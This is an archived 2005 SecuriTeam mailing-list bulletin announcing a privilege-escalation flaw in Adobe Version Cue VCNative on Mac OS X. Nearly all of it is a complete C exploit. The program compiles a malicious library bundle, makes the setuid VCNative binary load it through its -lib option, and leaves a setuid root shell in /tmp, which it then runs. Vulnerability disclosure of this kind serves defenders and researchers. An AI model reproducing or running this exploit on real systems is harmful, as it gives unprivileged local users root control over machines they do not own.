[EXPL] Adobe Version Cue VCNative Privileges Escalation (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/05/05

  • Next message: SecuriTeam: "[NT] DC++ bzip2 Decompression Routine DoS"
    To: list@securiteam.com
    Date: 5 Sep 2005 11:32:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Adobe Version Cue VCNative Privileges Escalation (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.adobe.com/products/creativesuite/versioncue.html> Adobe
    Version Cue is a software version tracking system for Adobe products
    distributed with Adobe Creative Suite and select Adobe products". Lack of
    proper parameter checking allows attackers to gain root privileges using
    Adobe Version Cue VCNative, the following exploit code can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Adobe Version Cue version 1 on the Apple OS X platform

    Exploit:
     ---------------------- xosx-adobe-vcnative-dyld.c ----------------------

    /*[ Adobe Version Cue VCNative[OSX]: local root exploit. (dyld) ]*
     * *
     * by: vade79/v9 v9 at fakehalo.us (fakehalo/realhalo) *
     * *
     * Adobe Version Cue's VCNative program allows un-privileged *
     * local users to load arbitrary libraries("bundles") while *
     * running setuid root. this is done via the "-lib" *
     * command-line option. *
     * *
     * note: VCNative must connect to a valid host to be able *
     * to get to the point where the library is loaded. this is *
     * automated in this exploit by listening to an arbitrary local *
     * port and using the localhost("127.0.0.1") to connect to. *
     *********************************/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    #define VCNATIVE_PATH "/Applications/Adobe Version Cue/tomcat/webapps"\
     "/ROOT/WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative"
    #define VCNATIVE_PORT 7979
    #define CC_PATH "/usr/bin/gcc"
    #define BUNDLE_PATH "/tmp/xvcn_lib"
    #define SUSH_PATH "/tmp/xvcn_sush"

    void printe(char *,signed char);

    int main(){
     signed int sock=0,so=1;
     char syscmd[4096+1];
     struct stat mod;
     struct sockaddr_in sa;
     FILE *bundle,*sush;
     /* banner. */
     printf("[*] Adobe Version Cue VCNative[OSX]: local root exploit. (dy"
     "ld)\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
     /* see if we have what we need. */
     if(access(CC_PATH,X_OK))
      printe("incorrect gcc/cc path. (CC_PATH)",1);
     if(stat(VCNATIVE_PATH,&mod))
      printe("incorrect VCNative path. (VCNATIVE_PATH)",1);
     if(!(S_ISUID&mod.st_mode))
      printe("VCNative is not setuid. (VCNATIVE_PATH)",1);
     /* appease VCNative's initial connection to load the library. */
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
    #ifdef SO_REUSEPORT
     setsockopt(sock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
    #endif
     sa.sin_family=AF_INET;
     sa.sin_port=htons(VCNATIVE_PORT);
     sa.sin_addr.s_addr=INADDR_ANY;
     printf("[*] opening local port: %u.\n",VCNATIVE_PORT);
     if(bind(sock,(struct sockaddr *)&sa,sizeof(sa))==-1)
      printe("could not bind socket.",1);
     listen(sock,1);
     /* make the bogus library/bundle. */
     if(!(bundle=fopen(BUNDLE_PATH ".c","w")))
      printe("could not write to bundle source file.",1);
     fprintf(bundle,"void VCLibraryInit(){\n");
     fprintf(bundle," seteuid(0);\n");
     fprintf(bundle," setuid(0);\n");
     fprintf(bundle," setegid(0);\n");
     fprintf(bundle," setgid(0);\n");
     fprintf(bundle," chown(\"" SUSH_PATH "\",0,0);\n");
     fprintf(bundle," chmod(\"" SUSH_PATH "\",3145);\n");
     fprintf(bundle,"}\n");
     fprintf(bundle,"void VCLibraryExec(){}\n");
     fprintf(bundle,"void VCLibraryExit(){}\n");
     fclose(bundle);
     /* make the (to-be) rootshell. */
     if(!(sush=fopen(SUSH_PATH ".c","w")))
      printe("could not write to sush/rootshell source file.",1);
     fprintf(sush,"int main(){\n");
     fprintf(sush," seteuid(0);\n");
     fprintf(sush," setuid(0);\n");
     fprintf(sush," setegid(0);\n");
     fprintf(sush," setgid(0);\n");
     fprintf(sush," execl(\"/bin/sh\",\"sh\",0);\n");
     fprintf(sush,"}\n");
     fclose(sush);
     /* compile the bogus library/bundle. */
     snprintf(syscmd,4096,"%s %s.c -bundle -o %s.bundle",CC_PATH,
     BUNDLE_PATH,BUNDLE_PATH);
     printf("[*] system: %s\n",syscmd);
     system(syscmd);
     /* compile the (to-be) rootshell. */
     snprintf(syscmd,4096,"%s %s.c -o %s",CC_PATH,
     SUSH_PATH,SUSH_PATH);
     printf("[*] system: %s\n",syscmd);
     system(syscmd);
     /* run VCNative. (".bundle" is appended to the library path) */
     snprintf(syscmd,4096,"\"%s\" -host 127.0.0.1 -port %u -lib %s",
     VCNATIVE_PATH,VCNATIVE_PORT,BUNDLE_PATH);
     printf("[*] system: %s\n",syscmd);
     system(syscmd);
     /* clean-up. */
     unlink(BUNDLE_PATH ".c");
     unlink(BUNDLE_PATH ".bundle");
     unlink(SUSH_PATH ".c");
     shutdown(sock,2);
     close(sock);
     /* check for success. */
     if(stat(SUSH_PATH,&mod))
      printe("sush/rootshell vanished? (SUSH_PATH)",1);
     if(!(S_ISUID&mod.st_mode)||mod.st_uid){
      unlink(SUSH_PATH);
      printe("sush/rootshell is not setuid root, exploit failed.",1);
     }
     /* success. */
     printf("[*] attempting to execute rootshell... (" SUSH_PATH ")\n\n");
     system(SUSH_PATH);
     exit(0);
    }
    /* all-purpose error/exit function. */
    void printe(char *err,signed char e){
     printf("[!] %s\n",err);
     if(e)exit(e);
     return;
    }
    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:v9@fakehalo.us> v9.
    The advisory can be found at:
    <http://www.securiteam.com/securitynews/5QP0W00GKC.html>
    http://www.securiteam.com/securitynews/5QP0W00GKC.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] DC++ bzip2 Decompression Routine DoS"

    Relevant Pages

    • [NT] Multiple Vendor NOS Microsystems getPlus Downloader Stack Buffer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... download, install, and update other software through the browser. ... Adobe uses this control ... for web based installations of Adobe Reader. ...
      (Securiteam)
    • [NEWS] Adobe License Management Service Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability within the Adobe License Management Service has been ... Download the Adobe License Management Service update from ...
      (Securiteam)
    • [EXPL] Adobe Version Cue VCNative Symlink Attack (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Version Cue is a software version tracking system for Adobe products ... within a short period of time crontab will overwrite ...
      (Securiteam)
    • [NEWS] Mac OS X / Adobe Version Cue Local Root
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in Mac OS X when its bundled with Adobe Version Cue allows ... haven:~ fintler$ id ...
      (Securiteam)
    • [NEWS] Cisco Unity Express Privilege Escalation
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Cisco Unity Express Privilege Escalation ... Cisco Unity Express (CUE) is an optional hardware module designed for use ... can be configured to expire after a specified number of days. ...
      (Securiteam)